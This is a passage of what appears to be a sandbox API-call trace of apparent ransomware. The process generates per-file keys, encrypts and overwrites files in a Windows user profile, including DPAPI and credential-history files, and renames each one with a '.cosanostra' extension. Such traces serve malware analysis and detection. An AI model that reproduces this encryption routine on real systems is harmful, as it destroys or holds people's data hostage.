0xffffffff [0091.674] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6d8 | out: pbBuffer=0x26ff6d8) returned 1 [0091.674] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6d0*=0x30) returned 1 [0091.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.675] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6d0 | out: pbBuffer=0x26ff6d0) returned 1 [0091.675] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6c8*=0x30) returned 1 [0091.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.677] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6c8 | out: pbBuffer=0x26ff6c8) returned 1 [0091.677] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6c0*=0x30) returned 1 [0091.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.677] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned 110 [0091.677] StrStrW (lpFirst="Preferred", lpSrch=".txt") returned 0x0 [0091.678] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.678] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26ff684, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff684*=0x18, lpOverlapped=0x0) returned 1 [0091.678] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.678] WriteFile (in: hFile=0x154, lpBuffer=0x26ff6c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff684, lpOverlapped=0x0 | out: lpBuffer=0x26ff6c4*, lpNumberOfBytesWritten=0x26ff684*=0x4, lpOverlapped=0x0) returned 1 [0091.678] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff684, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff684*=0x30, lpOverlapped=0x0) returned 1 [0091.679] CloseHandle (hObject=0x154) returned 1 [0091.679] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.cosanostra") returned 121 [0091.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred.cosanostra")) returned 1 [0091.679] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6c0 | out: pbBuffer=0x26ff6c0) returned 1 [0091.679] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6b8*=0x30) returned 1 [0091.679] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.680] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 137 [0091.680] StrStrW (lpFirst="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpSrch=".txt") returned 0x0 [0091.681] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.681] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1d4, lpNumberOfBytesWritten=0x26ff67c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff67c*=0x1d4, lpOverlapped=0x0) returned 1 [0091.681] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.681] WriteFile (in: hFile=0x154, lpBuffer=0x26ff6bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff67c, lpOverlapped=0x0 | out: lpBuffer=0x26ff6bc*, lpNumberOfBytesWritten=0x26ff67c*=0x4, lpOverlapped=0x0) returned 1 [0091.681] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff67c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff67c*=0x30, lpOverlapped=0x0) returned 1 [0091.681] CloseHandle (hObject=0x154) returned 1 [0091.681] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.cosanostra") returned 148 [0091.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9.cosanostra")) returned 1 [0091.682] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6c0 | out: pbBuffer=0x26ff6c0) returned 1 [0091.682] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6b8*=0x30) returned 1 [0091.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\.." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.682] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6b8 | out: pbBuffer=0x26ff6b8) returned 1 [0091.682] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6b0*=0x30) returned 1 [0091.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\." (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.682] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6b8 | out: pbBuffer=0x26ff6b8) returned 1 [0091.682] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6b0*=0x30) returned 1 [0091.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0091.682] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 63 [0091.682] StrStrW (lpFirst="CREDHIST", lpSrch=".txt") returned 0x0 [0091.683] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.683] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x26ff674, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff674*=0x18, lpOverlapped=0x0) returned 1 [0091.683] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.683] WriteFile (in: hFile=0x154, lpBuffer=0x26ff6b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff674, lpOverlapped=0x0 | out: lpBuffer=0x26ff6b4*, lpNumberOfBytesWritten=0x26ff674*=0x4, lpOverlapped=0x0) returned 1 [0091.683] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff674, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff674*=0x30, lpOverlapped=0x0) returned 1 [0091.683] CloseHandle (hObject=0x154) returned 1 [0091.683] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.cosanostra") returned 74 [0091.683] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST.cosanostra" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\credhist.cosanostra")) returned 1 [0091.952] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6b0 | out: pbBuffer=0x26ff6b0) returned 1 [0091.953] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6a8*=0x30) returned 1 [0091.953] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.989] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 106 [0091.989] StrStrW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch=".txt") returned 0x0 [0091.990] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.990] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26ff66c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff66c*=0x104, lpOverlapped=0x0) returned 1 [0091.990] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.990] WriteFile (in: hFile=0x138, lpBuffer=0x26ff6ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff66c, lpOverlapped=0x0 | out: lpBuffer=0x26ff6ac*, lpNumberOfBytesWritten=0x26ff66c*=0x4, lpOverlapped=0x0) returned 1 [0091.990] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff66c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff66c*=0x30, lpOverlapped=0x0) returned 1 [0091.991] CloseHandle (hObject=0x138) returned 1 [0091.991] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra") returned 117 [0091.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.cosanostra" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9.cosanostra")) returned 1 [0091.992] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6b0 | out: pbBuffer=0x26ff6b0) returned 1 [0091.992] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6a8*=0x30) returned 1 [0091.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\.." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.018] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6a8 | out: pbBuffer=0x26ff6a8) returned 1 [0092.018] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6a0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6a0*=0x30) returned 1 [0092.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.018] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6a8 | out: pbBuffer=0x26ff6a8) returned 1 [0092.018] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff6a0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff6a0*=0x30) returned 1 [0092.018] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\.." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.019] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6a0 | out: pbBuffer=0x26ff6a0) returned 1 [0092.019] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff698*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff698*=0x30) returned 1 [0092.019] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.019] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff6a0 | out: pbBuffer=0x26ff6a0) returned 1 [0092.019] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff698*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff698*=0x30) returned 1 [0092.019] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\.." (normalized: "c:\\users\\default\\appdata\\locallow"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.019] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff698 | out: pbBuffer=0x26ff698) returned 1 [0092.019] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff690*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff690*=0x30) returned 1 [0092.019] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\." (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.021] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff690 | out: pbBuffer=0x26ff690) returned 1 [0092.022] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff688*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff688*=0x30) returned 1 [0092.022] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.022] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 62 [0092.022] StrStrW (lpFirst="FXSAPIDebugLogFile.txt", lpSrch=".txt") returned=".txt" [0092.022] lstrlenW (lpString=".txt") returned 4 [0092.022] lstrlenW (lpString=".txt") returned 4 [0092.022] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.022] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x26ff64c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff64c*=0x0, lpOverlapped=0x0) returned 1 [0092.022] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.023] WriteFile (in: hFile=0x138, lpBuffer=0x26ff68c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff64c, lpOverlapped=0x0 | out: lpBuffer=0x26ff68c*, lpNumberOfBytesWritten=0x26ff64c*=0x4, lpOverlapped=0x0) returned 1 [0092.024] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff64c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff64c*=0x30, lpOverlapped=0x0) returned 1 [0092.024] CloseHandle (hObject=0x138) returned 1 [0092.024] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.cosanostra") returned 73 [0092.024] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt.cosanostra")) returned 1 [0092.041] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff680 | out: pbBuffer=0x26ff680) returned 1 [0092.041] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff678*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff678*=0x30) returned 1 [0092.041] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.041] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini") returned 73 [0092.041] StrStrW (lpFirst="Settings.ini", lpSrch=".txt") returned 0x0 [0092.043] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.043] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x26ff63c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff63c*=0x54, lpOverlapped=0x0) returned 1 [0092.043] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.043] WriteFile (in: hFile=0x138, lpBuffer=0x26ff67c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff63c, lpOverlapped=0x0 | out: lpBuffer=0x26ff67c*, lpNumberOfBytesWritten=0x26ff63c*=0x4, lpOverlapped=0x0) returned 1 [0092.043] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff63c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff63c*=0x30, lpOverlapped=0x0) returned 1 [0092.044] CloseHandle (hObject=0x138) returned 1 [0092.047] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.cosanostra") returned 84 [0092.047] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini.cosanostra")) returned 1 [0092.108] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff678 | out: pbBuffer=0x26ff678) returned 1 [0092.108] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff670*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff670*=0x30) returned 1 [0092.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.109] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned 78 [0092.109] StrStrW (lpFirst="Stars.jpg", lpSrch=".txt") returned 0x0 [0092.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe2af, 